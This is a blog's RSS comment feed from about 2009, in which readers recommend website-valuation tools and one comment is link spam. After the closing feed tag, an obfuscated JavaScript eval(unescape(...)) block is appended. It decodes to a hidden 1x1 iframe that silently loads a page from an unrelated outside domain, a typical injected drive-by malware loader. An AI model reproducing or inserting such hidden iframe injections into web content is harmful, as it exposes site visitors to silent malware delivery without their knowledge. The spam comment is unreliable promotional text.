











<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: How much is your website worth ?</title>
	<atom:link href="http://blogulate.com/content/how-much-is-your-website-worth/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogulate.com/content/how-much-is-your-website-worth/</link>
	<description>Snippets from the web</description>
	<lastBuildDate>Thu, 18 Mar 2010 14:33:03 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Kyle</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-9460</link>
		<dc:creator>Kyle</dc:creator>
		<pubDate>Wed, 24 Feb 2010 21:38:31 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-9460</guid>
		<description>http://www.mustat.com/ is the website value and traffic estimator I personnaly use.</description>
		<content:encoded><![CDATA[<p><a href="http://www.mustat.com/" rel="nofollow">http://www.mustat.com/</a> is the website value and traffic estimator I personnaly use.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Michel Voisin</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-8740</link>
		<dc:creator>Michel Voisin</dc:creator>
		<pubDate>Mon, 21 Dec 2009 03:09:52 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-8740</guid>
		<description>Interesting You have This is sure site. Not bad opinions too. Thanks alot 


&lt;a href=&quot;http://www.googletopsearch.com&quot; rel=&quot;nofollow&quot;&gt;buy links&lt;/a&gt;</description>
		<content:encoded><![CDATA[<p>Interesting You have This is sure site. Not bad opinions too. Thanks alot </p>
<p><a href="http://www.googletopsearch.com" rel="nofollow">buy links</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mike</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-8725</link>
		<dc:creator>Mike</dc:creator>
		<pubDate>Sat, 19 Dec 2009 06:12:40 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-8725</guid>
		<description>Thanks for the valuable info, when valuating a website you should also consider http://www.websitevaluebot.com as it will give you a value based on every aspect of the fundamentals of a website except for revenue which is the only real way to work out a websites value.

Monthly revenue times 6-12 depending on brand name, age and content is the true website market value which is why no website estimator online is accurate.</description>
		<content:encoded><![CDATA[<p>Thanks for the valuable info, when valuating a website you should also consider <a href="http://www.websitevaluebot.com" rel="nofollow">http://www.websitevaluebot.com</a> as it will give you a value based on every aspect of the fundamentals of a website except for revenue which is the only real way to work out a websites value.</p>
<p>Monthly revenue times 6-12 depending on brand name, age and content is the true website market value which is why no website estimator online is accurate.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: PeekStats</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-7983</link>
		<dc:creator>PeekStats</dc:creator>
		<pubDate>Thu, 12 Nov 2009 23:53:07 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-7983</guid>
		<description>http://www.peekstats.com has a great tool for estimates.</description>
		<content:encoded><![CDATA[<p><a href="http://www.peekstats.com" rel="nofollow">http://www.peekstats.com</a> has a great tool for estimates.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Rob</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-6555</link>
		<dc:creator>Rob</dc:creator>
		<pubDate>Sun, 27 Sep 2009 17:58:55 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-6555</guid>
		<description>Hey, I have found another website traffic and valuation site. &lt;a href=&quot;http://www.webworth.info&quot; rel=&quot;nofollow&quot;&gt;http://www.webworth.info&lt;/a&gt; . Web Worth can estimate a web sites worth or value, daily ads revenue, daily page views, back links and directory listing</description>
		<content:encoded><![CDATA[<p>Hey, I have found another website traffic and valuation site. <a href="http://www.webworth.info" rel="nofollow">http://www.webworth.info</a> . Web Worth can estimate a web sites worth or value, daily ads revenue, daily page views, back links and directory listing</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: brianG</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-6469</link>
		<dc:creator>brianG</dc:creator>
		<pubDate>Thu, 10 Sep 2009 08:52:06 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-6469</guid>
		<description>here s the link for cubestat: http://www.cubestat.com
here is an other one:  http://www.urlappraisal.net/ (this gives much higher value for some reason?!</description>
		<content:encoded><![CDATA[<p>here s the link for cubestat: <a href="http://www.cubestat.com" rel="nofollow">http://www.cubestat.com</a><br />
here is an other one:  <a href="http://www.urlappraisal.net/" rel="nofollow">http://www.urlappraisal.net/</a> (this gives much higher value for some reason?!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: brianG</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-6468</link>
		<dc:creator>brianG</dc:creator>
		<pubDate>Thu, 10 Sep 2009 08:44:16 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-6468</guid>
		<description>i use cubestat.</description>
		<content:encoded><![CDATA[<p>i use cubestat.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Lala</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-6466</link>
		<dc:creator>Lala</dc:creator>
		<pubDate>Thu, 10 Sep 2009 07:27:11 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-6466</guid>
		<description>Hi! I have found another website traffic and value estimator site. I&#039;m talking about &lt;a href=&#039;http://www.estimix.com&#039; rel=&quot;nofollow&quot;&gt;www.estimix.com&lt;/a&gt; . The estimation provided by estimix is the result of a complex analysis based on factors like: the age of the website, the demographic structure of the traffic, the countries where the website is popular and sources of the traffic.</description>
		<content:encoded><![CDATA[<p>Hi! I have found another website traffic and value estimator site. I&#8217;m talking about <a href='http://www.estimix.com' rel="nofollow">http://www.estimix.com</a> . The estimation provided by estimix is the result of a complex analysis based on factors like: the age of the website, the demographic structure of the traffic, the countries where the website is popular and sources of the traffic.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Dylan S</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-5062</link>
		<dc:creator>Dylan S</dc:creator>
		<pubDate>Fri, 06 Mar 2009 03:56:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-5062</guid>
		<description>Great job. I didn&#039;t expect to see this here. Glad I stumbled upon your site. Well done, bookmarked ;-)</description>
		<content:encoded><![CDATA[<p>Great job. I didn&#8217;t expect to see this here. Glad I stumbled upon your site. Well done, bookmarked <img src='http://blogulate.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Tom</title>
		<link>http://blogulate.com/content/how-much-is-your-website-worth/comment-page-1/#comment-4482</link>
		<dc:creator>Tom</dc:creator>
		<pubDate>Tue, 02 Dec 2008 15:05:33 +0000</pubDate>
		<guid isPermaLink="false">http://blogulate.com/content/how-much-is-your-website-worth/#comment-4482</guid>
		<description>You should also take a look at http://www.websitefact.com ; I found it very useful in terms of a website performance. It has some good info on there.</description>
		<content:encoded><![CDATA[<p>You should also take a look at <a href="http://www.websitefact.com" rel="nofollow">http://www.websitefact.com</a> ; I found it very useful in terms of a website performance. It has some good info on there.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>